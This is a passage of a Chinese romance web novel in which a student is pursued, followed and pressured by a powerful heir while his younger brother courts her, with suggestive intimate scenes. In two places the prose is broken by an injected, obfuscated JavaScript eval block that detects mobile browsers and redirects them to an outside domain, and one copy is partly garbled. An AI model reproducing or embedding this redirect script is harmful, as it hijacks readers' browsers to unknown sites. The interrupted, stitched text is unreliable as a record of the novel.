一面惊魂未定,一面庆幸自己尚能从傅淮之面前全身而退。 想起这一晚发生的事,她心有余悸,猛灌了两杯冷水。 确定房门与窗户紧锁,才松懈下来。 …… 隔日,宋洛允从持续不断的嘈杂声中醒来。 前一日喝下的感冒药还在体内作祟,她的身体又困又累,但此刻游轮即将靠岸,她没有过多休息时间。 起身拉开窗帘,刺眼的阳光让她痛苦地闭上眼睛。 手机铃声同时响起,傅泽鸣问她打算什么时候下船。 宋洛允直到游轮靠岸时才回复:【你们先走,不用等我。】 傅泽鸣回复:【那怎么可以?这里打不到车,我是开车来的,要负责把你送回去。】 宋洛允:【不用,我没那么快离开。】 傅泽鸣依然坚持:【我会等你的,我的车在码头右边的停车场,不管多晚你都跟我说,我送你回去。】 宋洛允没回复。 室外陆陆续续有行李划过地面的声音,她站在房间的窗边往下看,等了二十分钟,才慢慢往外走。 这会人基本都离开了,她没乘坐电梯,提着行李顺着楼梯往下,从小路绕到闸口,码头近在眼前。 却不可控地撞见最不想看见的人。 似乎料定她会走这条路,他搭着栏杆慢慢等待,任凭风衣被海风拍打,他只微眯眸,视线中心落在她身上。 宋洛允越过他离开。 他在身后出声:“一起回去。” “不用了,傅大哥。”宋洛允拒绝,姿态过于慌乱,“有人送我。” “你大概不会希望通过他把你的东西归还你。”傅淮之说。 宋洛允脚步顿住,抿唇。 她怎么就无法躲过他。 他的司机已然在码头等待,傅淮之先上车,耐心地等着宋洛允作出决定。她几乎没有选择,侧身跟了上去。 视野范围内傅泽鸣的车停在对面,此刻他站在车前等待,注意到驶过的车,他定睛关注着。 下意识的,宋洛允别过头,却看见来自傅淮之的阴沉的眸眼。 下一秒,她的手机铃声响起。 “傅泽鸣”三个字的备注挂在上面。 “挂了。”傅淮之出声,不容拒绝。 宋洛允摁下锁屏,就算不是因为他的话,她也不会在这接通电话。 车辆驶离码头,开得出奇平缓,只属于他的气息强势地在整个空间填满,她不喜欢这种磨人的接触,试图开窗,却发现窗户怎么都降不下来。 “平叔,开窗。”男人低沉的嗓音出现。 宋洛允抿了抿唇,右侧车窗不停往下降,剧烈的海风打乱她的头发,她张口说:“可以了。”才发现嗓音哑得过分。 窗外的风太大了,三月京城的寒意一下便能吹得头隐隐作痛。 她咬牙抵御冷风,忽地发现有只手越过她,摁住她门侧窗户的按钮。 看不下去似的,傅淮之替她关了窗。他右手撑着扶手箱,身体完全朝她倾斜,头同她靠得很近,湿热的鼻息有意无意地洒在她的锁骨。 柔软的布料往下垂,即使宋洛允再不想去关注,还是看到了里面的盛况:在隆起的肌肉上,有几道红得刺眼的疤痕。 那是她掐的。 在无助的时候她会习惯性寻找任何可以让手上能够抓住的东西,有时是他的身体,有时是他的手。 目光再投向窗边那只手。 虎口处有一块结了痂的伤。 也是她掐的。 理智告诉她不能再看,但眼神却着急得在他身上游走。 ——他身上难道不应该有其他女人的痕迹吗,为什么只有她留下的? 窗户只留下一条缝,傅淮之收回一只手,起身时用带着侵略的眼神盯着她。 他说:“这么看着我,是想再来一次?” 宋洛允浑身僵硬,冰凉的手握住扶手,转头看向窗外。 两个人都没说话,开启了诡异的平静,压根猜不透他此行目的。 他恨透了她,偏偏他有权有势,可以随意潜入她的房间,他可以只在她唇角留下一个警告的伤口,也可以轻而易举扼住她呼吸的权利。 倘若他将她送到他的住处,只要她的身体,那她便躺下,任由他发泄,或许这件事就能告一段落。 但如果要她的命…… 宋洛允看着眼前越走越偏辟的路,不自觉抓住衣服。 现在是法治社会,他还有属于他的前程,他应该、不会这么做吧? “宋小姐,你住在哪里?” 司机的声音破灭了那个幻境。 宋洛允看向前方,他们已经穿过逼仄的村路,紧接着出现的是耸立的高楼大厦。 还好,不是她想象中那般。 她回答:“平柏路,松柏小区。” 松柏小区是城中村区域,附近全是各种娱乐场所,平时治安管理偏差。 车刚拐入小道,便有争执的人挡在路中央,手中甚至握着耕田的工具,彼此推搡。 车子止步不前,直到警察过来才顺利通过,这会已经过去了半个多小时。再往前开一段路便能看到目的地。 “在这住多久了?”傅淮之忽然开口。 宋洛允回答:“半年。” “平时不住学校?” “工作的地方离学校远,不住。” “这里离得近?” “近一些。” “那很偏。” “是。” 傅淮之没再说话,过于反常。就连宋洛允下车,回头礼貌性说句:“谢谢您,再见。”他也只是点头说“嗯”。 平静得就像是费尽周折了解她的家庭住址。 看着车子驶离,宋洛允吊着一路的心才能放松下来,侧了个身往车开的反方向走。 其实她说的是假地址。 她住的地方与松柏小区一个东一个西。 在附近逛了一圈,才从另一个方向走到大路,拦了辆出租车,回家。 后方,那辆亮黑色的迈巴赫返回。 看着她进入又离开,再看着她上车。 它跟了上去。 …… 宋洛允疲惫地躺在床上。 噩梦般的两天终于结束,本该是一次放松之旅,却因为一时的冲动让自己陷入泥潭。 想起什么,她起来翻了翻——傅淮之说要还她的东西并没有还。 她并不该指望他能够践诺,好在他没有任何证据证明那是她的东西,也不会无聊到拿她的东西大肆宣传。 事情应该就这么结束了吧。 他如今依旧沉浸在愤怒里,所以才会紧紧抓住她不放。但是他们的生活本不会有任何交集,等时间一长,他大概能忘记这些不快。 吃过药躺下,睡得昏昏沉沉,直到尖锐的铃声在她耳边炸响,她忽然惊醒。 是闹钟,她一觉睡到第二天。 澡还没洗,手机没充电,电量不足的提示下方还多了几个未接通话,来自同个号码,备注是“妈妈”。 左滑清除消息,手机插上电源,前去冲了个澡,后去公司。 宋洛允当下在一家娱乐传媒集团实习,但她所学专业与娱乐影视毫无关系。她读的是材料科学与工程,对应的工作最低学历是硕士,而她只不过是大四学生,因为缺钱,只能先找个能挣钱的工作。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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或许觉得语气说得太硬,缓和了态度,方说:“上次的事情我跟你道歉过了吧,是我考虑不周,应该尊重你的人生大事,现在妈妈告诉你,你可以大胆地追求你的幸福。” 宋洛允:“有话直说。” “傅家那位,四公子,傅泽鸣,听说对你挺有意思的,你可以……” 宋洛允将电话掐断。 头靠着栏杆,烦得再也不想听见任何声音。 偏偏手机提示音还在不依不挠,那个被她没礼貌地挂断电话的人似乎不懂她的反抗,固执地劝说。 妈妈:【不知道你是怎么想的,但以我们这样的家庭能接触到傅家是莫大的荣幸,更何况他还对你有意思。】 妈妈:【总有一天你会明白,你的心高气傲在金钱权利面前都是无用的东西,希望你别让我失望。】 她的这套说辞,是从她现任丈夫身上学的。 之前她不是这样的,之前的她会很支持她所做的每件事,她还告诉过她,人要有底线,绝不能为五斗米折腰。 现在她做到了,可自己的妈妈却忘记了。 列车到站,宋洛允坐上从地铁口到园区的接驳车,她所在的娱乐公司在全球排名第一梯队的互联网集团旗下,名叫恒宇。工作地点在总部,之前听很多人说过这是最向往的工作环境,参与工作前她也是这么想的,但进入工作单位后才发现,职场上的琐碎事远比专业知识复杂得多。 就像此刻,她刚进入公司,把东西放在工位上,打开电脑。 部门领导路过,端着他那让人浑身不适的笑容朝她说:“小洛回公司来了?这两天有没有认识哪个富家子弟啊?” 上次傅泽鸣邀请她参加游轮派对时她在公司,电脑上登录的微信聊天记录不知道被谁看到了,居然就在公司里传开。 她不觉得这种派对有什么潜在含义,但公司里的人似乎特别感兴趣,默认将她与攀附者、捞女划上等号。 宋洛允兀自处理手头上的事情:“刘主任,我只是休息了两天,不认为我需要汇报在非工作时间的动态。” 刘俊胜反倒将腰一横,手搭在办公台上,看着其他人说:“我听说咱们小洛可了不起,去的是傅总办的派对。”接着再对宋洛允说,“这么好的机会,不趁机多认识几个人,赶紧把喜事办了?” 公司里总有这样的人,目光像染了一层黏腻的油膜,总喜欢装模作样地摆出成功人士的姿态,口吻里只带着对女性的歧视。 宋洛允淡淡说:“请您不要用低俗的眼光揣测我。” “这算什么低俗?现在的小女孩子真是,劝诫几句还说不得了。”刘俊胜继续说,“我是为了你好,岁数大的女人就是剩菜剩饭,你再不抓紧就没人要了。” 宋洛允只觉得好笑:“我不靠男人养活。” 刘俊胜忽然笑了,连带身边几个男性同事也莫名一块笑。宋洛允愈发不舒服,但是在职场上只能忍气吞声,将头一扭,当没听见。 乌烟瘴气的环境总算散去,办公室内恢复难得的平静。宋洛允把该办的事情办完,忙到午休时间,出门拿外卖,此时办公室内一片哄闹,这才到了最八卦的时间。 宋洛允察觉到了,刻意带着外卖盒走到茶水间,这里环境窄空气很闷,不是吃饭的最佳地点。 尽管如此,还是有人随同她跟过来。 “听说你去了傅总的私人派对呀?好不好玩?”蔡年开门见山地问话,将饭连同桌子往她身边挪,刻作亲近。 “就是个正常的派对。”宋洛允说。 “嘶,也只有你会觉得普通吧,过去的哪个人没有带点心思。”蔡年将心眼子写在脸上,“那你是不是有很多新体验,有见到傅总本人吗?” “嗯。”宋洛允喝了口汤。 “他本人是不是超级帅?听说他身材特别硬朗,性格也友好,真的假的?” “……不知道。”宋洛允说,“我跟他不熟。” “也是,咱们哪来的机会可以跟他接触。”蔡年说,“你怎么参加的呀?” “朋友带我过去的。”宋洛允不冷不热回答。 “你那个富二代朋友?” “嗯。” “朋友多就是好,我就没有这种朋友。” 宋洛允不想说话。 蔡年能看出她明晃晃的对她的意见,但她不在意,她也不喜欢这个人,搭话只是为了能够达成自己的目的。 想起这两天时常听到的八卦,她按捺不住兴趣,继续问:“那你有见到傅总的未婚妻吗?” 4. 上瘾 “……” 记忆像一道突如其来的闪电。 宋洛允猛地后颈发凉。 那个晚上,他们讨论过“结婚”的话题。 她急得想去探索他,而他却慢悠悠的,一点一点磨着她。 他同她说:“我的原则很简单,不以婚姻为前提的肢体接触都是亵渎,你认为呢?” 当下的她已经迷失了自己,肢体动作与思想全然分离,只觉得他的思想与自己契合,晕晕乎乎地回答了一个“嗯”的音。 而他似乎很满意,将她抱起来,贴在他的腿上。 问她:“那我们结婚,可以吗?” 她撩起发颤的睫毛,第一反应是问他:“你需要结婚对象吗?” 他笑得缱绻,毫不掩饰告诉她:“是,但也不完全是。” 那时宋洛允已经被他磨得受不了,急于解脱,胡乱地回应:“好,好。” ——原来这不是他调-情的手段。 甚至已然将结婚的信息扩散到公司内。 那如果她落入他的手中,是不是就会成为他的一颗棋子,被他利用。 “你不知道吗?”蔡年以为宋洛允的表情是疑惑,表面热情地解释,“傅家前两天传出有喜事,听说那老爷子的嘴角都压不住了,对外都说好事临近。你真没看到?傅总有跟哪位千金关系好吗?” “我怎么知道。”宋洛允别过头,没有周旋的耐心。 蔡年只好说:“那好吧,我以为你多少知道点风声,不过能与这种家族配对的也只会是名门望族……我只是说傅总,不是在说你那富二代朋友。” 蔡年这个人吧,跟她接触过的人都不太喜欢她,目的性太强,情商不高,总能将自己的小心思袒露出来。 她一直看不惯宋洛允,在小城市出生,只是大学考到了京城,认识了富二代朋友,就能接触到上层社会的人——在她眼里,这份工作甚至是托关系进入的。 但小市民就是小市民,哪能妄想能够嫁入豪门,飞上枝头变凤凰? 宋洛允没给她好脸色看。 扒拉几口手里的饭,端起外卖盒子往外走,不愿理会酸溜溜的人。 蔡年在她背后翻了个白眼。 …… 另一头,傅家老宅。 车辆驶入,管家上前迎接,一双红底牛津鞋踩上地面,修长的腿迈出,鎏金浮雕大门自动推开,男人进入。 中央紫檀木主位上有位长者,一袭长袍垂落地面,手握茶壶慢慢浇灌金蟾茶宠。他没抬头,即使男人来到他跟前,他依然慢条斯理地用盖子轻轻刮茶末。 傅家是世家大族,至今仍保留部分上个世纪皇室的礼制,主厅12米,挥洒了无尽朱砂红与帝王金。傅家家主尤其痴迷古董,从玄关到私寝皆是天工开物级陈设。 “爷爷。”傅淮之坐下,自然地搭着腿,鞋尖微微上挑。 “就你一个人回来?”傅怀鹤挑眼看了看门口。 “我总不能半个人出现。”傅淮之笑着说,在长者面前略显荒诞不经。 傅家庄园里一直是这样的氛围,幅员千顷的地盘里永远保持肃静,这里的人早习惯这样的环境,但傅乔映尤其讨厌,按她的话来说,这里根本没有一点活人的气息。 老爷子神态有所缓和,但沉淀的威压让空气里只弥漫严肃。 他抿了口茶:“说说,那个女人是什么人。” 因为傅淮之一句话,这两日傅家上下经历不小起伏,那个向来未见身边有女性的人居然提出结婚。 长者尖锐的眸光刺向他,仿佛在期待他给出合理答案。 “爷爷何必多此一问?以您的情报网,还查不到她的底细?”傅淮之淡然说。 “我以为,你会掌握一些我不知道的内容。”傅怀鹤笑,但眉眼已经染上对他的不满,“京大学生,父亲去世,母亲改嫁,你是认为此类不堪的履历能被允许脏了傅家的血脉?” 傅家能够延续百年基业,除了资源掌控,重要的严苛的血脉与继承制度,傅怀鹤身为傅家掌权人,别人他不管,但他绝不会允许傅淮之脱离他的掌控。 然此类事情,发生过不止一次。 傅家曾为傅淮之缔结婚约,对方是舒家人,舒家同为百年望族,实力与傅家旗鼓相当,但舒家千金忙于学业,初定于她毕业后结婚。 多年来傅淮之并未表露过异议,却在订婚前夕骤然解除婚约。 此事在傅家掀起轩然大波,傅怀鹤即使动用家法也没能使他屈从,他却始终未予解释。此后,再有人替他说媒,他皆置之不理。 这次却突然同一个卑贱的人鬼混,想来,一系列的反常行为,只能指向他的某种反抗。 傅怀鹤在高位所处时间长了,不可能看不出底下任何人的心思,既然如此,他索性将消息放出去,看他会如何处理。 青瓷盖碗缓缓刮过杯沿,发出一阵又一阵锐响,傅怀鹤掀起眼皮,如慈爱长辈那般观赏次席的人。 “你从来不会这么冲动,说明那女孩对你影响颇深,罢了,喜欢便可,我已经下令让手下的人着手准备喜事,两个月后傅家家宴,把那个女孩带到我身边,让我认识认识。” …… 傅淮之离开傅家庄园时暮色已沉,半空毫无预兆地下起大雨。 管家提着伞前来接应,他向前,倾泻的雨水还是打湿了半边手臂,纯色的衬衫紧贴肌肤,将硬朗的肌肉线条完美勾勒,蜿蜒曲线顺着手腕向上。 上了车,他扯了扯绷紧的领带,解开湿透的扣子,单手将袖子上挽,露出已然消退但仍有痕迹的几道掐痕。 低头,眼神定格在那处许久。 耳边响起那晚女孩不自禁的哼声,她白皙又柔软的手推着他,却又在他后退时难舍地勾着他的手。 她身上有令他着迷的气息,她的腰窝暖得让他想轻轻啃咬她,她的唇像沾了蜜,甜得他恨不得马上占为己有。 莫名地,喉间如灼沙,胸腔中有团无名燥火。 索性降下车窗,点燃火机,烟雾盖住眼前视线,弥漫在雨夜里。 但香烟解不了某种瘾。 喉结随着呼吸上下滚动,他舔舐着干涩的唇,开车往市区某处行驶。 …… 宋洛允站在路边,觉得自己快疯了。 居然在自己家附近看到傅淮之的车。 他怎么会知道这里?她不是只给了假地址吗?难道他背后调查过她?还有什么信息是他不知道的? 诸多问题从她脑袋闪过,脑袋混沌不堪,本该向前一步,犹豫片刻,终冒着雨往反方向跑。 她这会刚下班,晚上因为会议耽搁了时间,晚饭没来得及吃,饿得头昏眼花,偏偏遇上下雨天还没带伞,本想先吃点东西等天晴,结果没等到,还因为一份40块钱的快餐放弃了吃饭的想法。 已经这么倒霉了,还撞见最不想看见的人,崩溃的心情达到顶峰。 经过这么一出,她全身基本被淋湿透,连打了几个喷嚏。只能先随便找家奶茶店,点杯热牛奶坐下取暖。 宋洛允警惕地看向周围,那辆车没再跟过来。 但这口气并不能松懈,她意识到这种提心吊胆的日子要持续很长时间。 干坐了半个小时,手机铃声忽然响起,看到来电显示,想了想,还是接通。 “洛允。”那边是傅泽鸣的声音,“你在家没?” “怎么了?”宋洛允反问。 “我听Eva说你们刚下班,你肯定还没吃饭,我给你带了点东西吃。”傅泽鸣说。 Eva是傅泽鸣的朋友,也是宋洛允部门的前辈。宋洛允工作忙起来基本不会回复消息,傅泽鸣时常只能通过Eva关注她的动态。有时他下班晚了,他会给她带各种东西,也没问过她需不需要。 想起自己与傅家人那些乱七八糟的纠缠,宋洛允头疼得很:“我没在家,不用给我带。” “这么晚,你去哪了?需要去接你不?”傅泽鸣再问。 宋洛允拒绝:“不用,我跟朋友一起。” 傅泽鸣说:“那行,你到家跟我说一声,过几天我……大哥?” 最后两个音落下,宋洛允瞬间直起身子,握紧手机关注对面的声音。 但傅泽鸣已经挂断了电话。 她不敢回播,怕那边听到她的声音,也不敢过问,只能干着急。 脑海中闪过无数内容。 她摸不透傅淮之的想法,身体与精神双重折磨,她看了眼室外愈发疯狂的雨,还是推门跑了出去。 …… 傅泽鸣没想到会在宋洛允家楼下见到傅淮之。 她所住的位置虽不是什么偏远难找的地方,但也不在中央地段,附近更多的是在建设中的区域,显然不是他会来的地方。 他走过去,询问:“大哥?你怎么会来这?” “在等人。”傅淮之站在车外,手撑一把透明的伞,他站得笔直,即使湿了衣服也不失风度。 傅泽鸣诧异,他记忆里的大哥,时间重于一切。即使幼年时母亲去世他也只是抽出参加葬礼的时间,在那段灰暗难捱的日子里没见他流过一滴泪。 他是最不重情义的,有什么样的朋友能让他冒着雨站在这等待? “他住在这吗?”傅泽鸣问。 傅淮之缓缓说:“或许是的。” 这里……傅泽鸣从宋洛允的口中听过,虽然是商住楼,周遭环境不错,安保系统成熟,但距离最近地铁站有四公里左右,大概是预算不足的人才会选择在这居住。 再想起他那句有意无意的“被甩了”。 他以为只是开玩笑。 但倘若如此。 他放下的心又提了起来。 并不是好消息。 傅淮之看着他,问道:“这个时间你不应该在学校?” “晚上没课。”傅泽鸣不大有底气,他是逃课出来的,“路过,恰好给一个朋友带饭。” “这样吗?她在哪?”傅淮之看向他紧紧护着的袋子。 一份热乎的粥,两个包子,还有几盒感冒药。 这么大的雨天,连他的外套都湿了,透明的袋子上愣是没有一滴水珠。 “她没在家。”傅泽鸣说,“出去了。” “那有些不巧。”傅淮之轻轻笑着,“本应该见见她的,看是什么样的人能让你这般用心对待。” 傅泽鸣也扯了个笑容,拽紧手中的东西。 不知道为什么,没能在大哥的笑容里看到这话该有的关心,而莫名被一团黑雾笼罩。他似乎……有其他含义。 “那边。”傅淮之忽而挑眼暗示,“那位是你的朋友吗?” 傅泽鸣一愣,猛地往后看,宋洛允气喘吁吁站在转角处,浑身脏兮兮狼狈不堪,却傻站在那,一动也没动。 “是她。”看她连雨伞都没有,他赶紧往她的方向走。 宋洛允下意识后退。 从听见电话声音时她便乱了分寸,以至于刚出门就因湿透的地面滑倒。膝盖大概磕伤了,火辣辣疼的要命,强撑着走了这么长一段路,却在转弯后碰见他们。 傅泽鸣赶紧跑向她,将伞举高至她那边,自己完全暴露在雨中。 他被她吓坏了:“你怎么没撑伞?不是在外面吗?怎么被淋成这样?” “我没带伞。”宋洛允说,刚抬头便对上傅淮之盯着她的尖锐眼神,眸底的光暗了些许。 “那也别在外面瞎跑啊,就这么淋着雨干嘛?”傅泽鸣有点着急,伸手试图将她脸颊的雨水抹掉,但她下意识往后避,他的手顿在半空。 宋洛允意识到自己行为的不妥,刻作巧合得伸手抹净脸颊,发现傅泽鸣一直在淋雨,又只能往他身边靠一靠,让两个人都站在算不上大的雨伞底下。 “我大哥在那边。”傅泽鸣同宋洛允说,示意她过去。 宋洛允不说话,被他领着靠近傅淮之。傅泽鸣担心这雨淋到她,一只手始终放在身后微微护着,正面看着像是搂着她,两人接触稍显亲昵。 “大哥,您等的人还没到吗?”傅泽鸣看着傅淮之,问道。 傅淮之视线只落在宋洛允身上,从湿漉漉的头发往下看,她的衣服也湿了,浅粉色的薄衫几乎晕出她的肤色,可见她白色的内衣轮廓。 是很狼狈。 但这样的她依然让人着迷。 让他想起那一晚,她伸出手抱着他,两人胸口嵌合,心跳频率几乎一致。 “这位女士,似乎受伤了。”他的眼神慢慢落在她的腿上,牛仔裤膝盖处有大块污渍,裸-露的脚踝也有淤青。 倏地一笑:“是太着急赶过来吗?” 傅泽鸣才注意到宋洛允的不舒服,连忙问她:“疼不疼?你要不先上去。” “……好。”宋洛允没有看向傅淮之,也越过他的问题。 她并不想在这多呆,巴不得现在立刻回去,但同时得把傅泽鸣带走。 还没来得及寻找借口,便见傅淮之从车上拿出一盒药膏,递给她:“我这恰好有擦伤的药,不妨先拿去用。” “……” 宋洛允安静站着,如芒在背。 好在有傅泽鸣在身边,他替她接过,看了眼药物名称:“谢谢大哥,但是您怎么会随身携带药物。” “被一只野鹿抓了手。不过不用担心,这药还没使用过。”他话语始终说得很慢。 被野鹿抓? 可这里是城市,哪来什么野鹿? 傅泽鸣觉得不对劲,但只能先将药膏收起,同时说:“那您要注意一下,如果流血最好还是去医院看看。还有。” 他看向傅淮之的袖子,能看见衣服下面是有几道痕迹,但灯光太暗,看不清楚。 他说:“您买错了,这个药是针对人类抓伤的。” 宋洛允始终把头垂得很低,无法面对任何一个人的眼神。 “这样的么。”傅淮之掏了包香烟,单手抽出一根,咬在嘴里,唇角微微笑着,“那我下次注意。” 傅泽鸣只觉得大哥这晚情绪不对劲,话里有话。 手臂忽被碰了碰,来自宋洛允的暗示,她很想走。 疑惑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171351|180684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间被被主动触碰的欣喜覆盖,傅泽鸣便说:“大哥,洛允她不太舒服,我先带她上楼换身衣服。” 傅淮之盯着她碰过的袖子,笑容消散些许,但体面地留下一个音:“嗯。” 转身瞬间宋洛允几乎松了口气,与傅泽鸣并肩而行。 两个身影共同推开玻璃门,楼道灯点亮,他们出现在电梯间,男生温柔地将身上的衣服披在女生背上,电梯门开,两人共同踏入,一路向上。 火机受了潮,傅淮之怎么都无法点燃那支烟。 喉间的燥意加深,口中烟草味道直接往里扩散,但再多都止不住。 他微眯着眸盯着那个点亮又熄灭的电梯间,哪怕那里已经没了人。 寂静的夜晚,某一个隔间灯光忽然点亮,里面有两个身影,一个阿娜多姿,一个健硕沉稳。他们时而在左侧,时而在右侧,女生无论走到哪,男生都会跟着。 室外的雨还在下,路上稀松人烟,一个身影笔直地站在那,孤独、肃寂。 …… 宋洛允看着镜子里的自己,才知道有多狼狈。 白色的裤子沾满泥土,外套基本湿透,头发甚至在往下滴着水,眼睑也被冻得通红,唇色一片惨白。 背后傅泽鸣把提着的东西放下,同她说:“你快去冲个热水澡吧,你这样明天肯定会着凉。” 看着毫无负担地进入她家,甚至像回到自己家那般自然的人,宋洛允叹了口气,不知道自己做得对不对。 在开门之前,她有片刻犹豫。 但想到始终在楼下守着的人,她只能先把傅泽鸣邀请进自己家里。 傅泽鸣看向半天没反应的人,猜到她的顾虑,便说:“你放心,我是个正人君子,不会偷看你洗澡。” 宋洛允没说话,转身走进浴室。 洗过热水澡的她总算舒服些,边擦拭头发边往外走,客厅里傅泽鸣已然替她把冷了的粥热一热,还倒了杯热牛奶,等着她出来。 宋洛允有些恍惚。 她跟傅泽鸣相识于大一,那时他们一起面试学校学生会,她过五关斩六将经过三轮面试才入选,而他只在初面时露了下脸,轻而易举地进入这个组织。那时她才知道,那些所谓的规矩其实只是为了普通人制定的,总有人可以越过一切门槛轻而易举获得想要的东西。 所以她一开始对他的印象并不好,直到大一下学期,她打算竞选学生会主席,却意外失去了参与的机会,那时是傅泽鸣挺身而出,批判学生会里存在的官僚主义现象,闹到学校领导面前,才成功让她得到竞选资格。 后面她争气地当选主席,傅泽鸣选择留任,那一年时间里他几乎成为她的助理,她说什么他做什么,关系因此突飞猛进。 傅泽鸣是特别仗义的人,认识这几年时间,宋洛允喜欢什么,他总会把东西送上,但宋洛允清楚地知道,他只会是个特别好的朋友,不能是恋人。 因为他很偏激,特别是在感情里。 认识这么多年,他不喜欢她身边有其他男性朋友存在,他会买很多刻有他们名字的物品,让她在公共场合上佩戴,试图让所有朋友知道他们恋人的身份,哪怕他们并不是。 真正爆发是在上周,他的生日当天。 他精心策划了一场告白,却让她接到一个称傅泽鸣被绑架的电话,要她只身前往学校里废弃的大楼。 她匆匆过去,穿过一道又一道阴暗的长廊,冰凉的手握在门柄,紧张却担忧地推开。 傅泽鸣在中间,被绑住四肢,旁边还有一个人,幸灾乐祸等着她靠近。 宋洛允壮着胆谈判,却在下一秒听见一声巨响,她下意识抱着头蹲下,茫然时才发现周遭灯光点亮了,一群人出现在她身边,手握礼炮与鲜花气球,口中大喊:“答应他,答应他。” 面前傅泽鸣单膝下跪,还有人在旁边录像,只有她特别狼狈,手还在颤抖。 宋洛允特别讨厌这种玩笑。 在把所有人支走后,她直白地拒绝他,他却抓着她的手,不让她离开。 他坦言:“现在学校里的人都知道今天我会跟你表白,难道你要让我被他们笑话吗?” 宋洛允红着眼眶,挣扎着甩开他的手:“那是你自己策划的,跟我有什么关系?你难道觉得依靠道德绑架就能让我跟你在一起吗?” 傅泽鸣依然不肯松开她,却带着几分央求:“我错了,是我错了,但是你再给我一次机会,我会好好对你的。” “……” 宋洛允此刻还站在阳台上,视线往下,那辆与这里格格不入的豪车还停在那。 执着的,疯魔的,猜不透他的意图。 烦闷的心情达到顶峰,她紧锁阳台门,回到客厅,傅泽鸣已经松散地躺在沙发上玩手机。 “快过来吃东西,我准备回去了。”傅泽鸣招呼她。 她走过去:“你要回学校?” “是啊,马上到门禁时间了。”傅泽鸣说。 傅泽鸣专业是医学,本科五年制,读完本科还得读研,读完研要规培,毕业遥遥无期。 去年宋洛允结束学校的课程,开始实习时他们还调侃过,等她在职场上稳定了,升官当领导人时,没准他还在上学。 “你们寝室楼是不是可以翻进去?”宋洛允盘腿坐在地板上,打开热粥的盖子。 傅泽鸣忽然翻了个身,朝她挑眉:“你不希望我回去?那我就留下来,跟你一起睡……” “不是。”宋洛允赶紧打断他,“我只是怕你着急赶回去,不安全。”她示意墙上的时钟,距离门禁时间只剩下不到半个小时。 “也行。”傅泽鸣支着身子看她,眉眼里有些急躁,但他在心里告诉自己,不能太急了,会把她吓跑。 他心满意足得看着她吃饭,他特别了解她的口味,知道她身体不舒服的时候只喜欢吃清淡的、带着汤汤水水的食物。只要她喜欢,那他跑了好几家店,又冒着雨将东西护在怀里送过来也不算辛苦了。 想起什么,他出声:“对了,你这房租多少?” “2300。”宋洛允说。 在京城这个房租能住到这种条件的房子算是性价比很高的了。 “你们这住的人多不多?”他问。 “不多,附近没有地铁站,都不爱在这住。” “那奇怪了,刚才我大哥说他在等人,什么人值得他一直等?”傅泽鸣摆弄着手机,望着天花板思考。 “我不知道。”宋洛允说。 傅泽鸣虽好奇,但平时不会多问其他兄弟姊妹的事情,傅家里人与人之间距离便是如此,看着亲近团结,其实隔得很远。 特别是对傅淮之,傅家人人需要靠他,他却是兄弟间最不受欢迎的存在。 话题刚结束,手机铃声忽然响起。 傅泽鸣低头看了一眼,眼里有些惊讶:“喂?大哥。” 宋洛允被粥烫了一口。 空气里沉寂片刻,傅泽鸣陡然看向宋洛允,分不清眼底有什么情绪。 “您说洛允?” “您想要……认识她?” 5. 吻我 这一分钟过得出奇漫长。 在傅泽鸣沉默的时间里,宋洛允能听到男人的冷硬的嗓音,但不管她多努力都听不清说了什么。 直到傅泽鸣迟疑地说:“这样啊,那好,我问问。” 挂断电话,傅泽鸣看着宋洛允,总有些不好的预感。 “怎么了?”宋洛允故作坦然地问。 “我大哥说,上次游轮上有个经济团队想邀请你参与他们团综的制作,在问你的联系方式。” 宋洛允说:“工作的事情应该联系公司,我做不了决定。” 他的借口真的很拙劣,她从来没有跟任何经济团队有接触,这类人什么时候会需要通过他来找她合作? 傅泽鸣顿了顿,他在意的不是这些事,只是心里有隐隐的不安。 最近的宋洛允有点反常,之前的她是自信大方的,现在却有些缩着,像是在躲藏着什么。他以为她只是生病了精神状态不好,但并不像,她说话都支吾了许多。 目光落在她唇角上。 那天在酒吧里没看清楚,直到今天还有个微弱的痕迹,很像咬痕——但她身边怎么可能会有别人? 不,应该是她自己不小心咬的。 “洛允。”他忽然喊她。 “怎么了?”她没看他,只看手机。 “昨天你怎么不跟我一起回来?还不接电话?”他问。 昨天他在码头等了将近一个小时,等到游轮驶离码头才得知她已经离开了,但没给他发消息。 宋洛允:“我说过了,不用等我。” “是大哥把你送回来的?”傅泽鸣依然问。 昨天他是最后一辆离开的车,在此之前他只看到傅淮之的车驶离。 宋洛允迟疑了片刻才答:“嗯。” “洛允。”傅泽鸣再次唤了她的名字。 他再问她:“我大哥他……是顺路接你的?他应该没做什么伤害你的事吧?” “没有。”宋洛允毫不犹豫,“他能对我做什么?” “那就好。”傅泽鸣松了口气,“我大哥他在傅家庄园里长大的,那里只会把人培养成有利于傅家的工具,所以他做事不折手段,没有什么情谊可言。” “所以你一定要离他远一点,最好别有接触。”他说。 宋洛允胡乱应了句,无暇再去想其他弯弯绕绕。 楼下身影与那辆车总算消失,雨与夜皆回归平静,傅泽鸣看着宋洛允将东西吃完,想替她把碗洗了再走,但宋洛允拒绝了,让人先离开,自己再慢慢收拾。 这个晚上她睡得出奇沉。 睡前想起傅泽鸣问她的那句话:大哥他没做什么伤害你的事吧? 带着这个问题入睡,在梦里居然拼凑出一些记忆里没有的细节。 他确实没伤害她。 他对她特别温柔。 细细地亲吻,五指陷入她的发丝里,置腹揉着她的脸、她的耳垂、她的嘴。 他的手很烫,灼着她的皮肤,又一点一点融化她的不安。 他对她说:“你确定吗?” 他又说:“你别怕。” 他吻着她,掰开她,慢慢地向下试探。 他似乎很擅长这些事。几下就能让她挤出眼泪,难受得与他对抗。 他还问了句:“可以吗?” 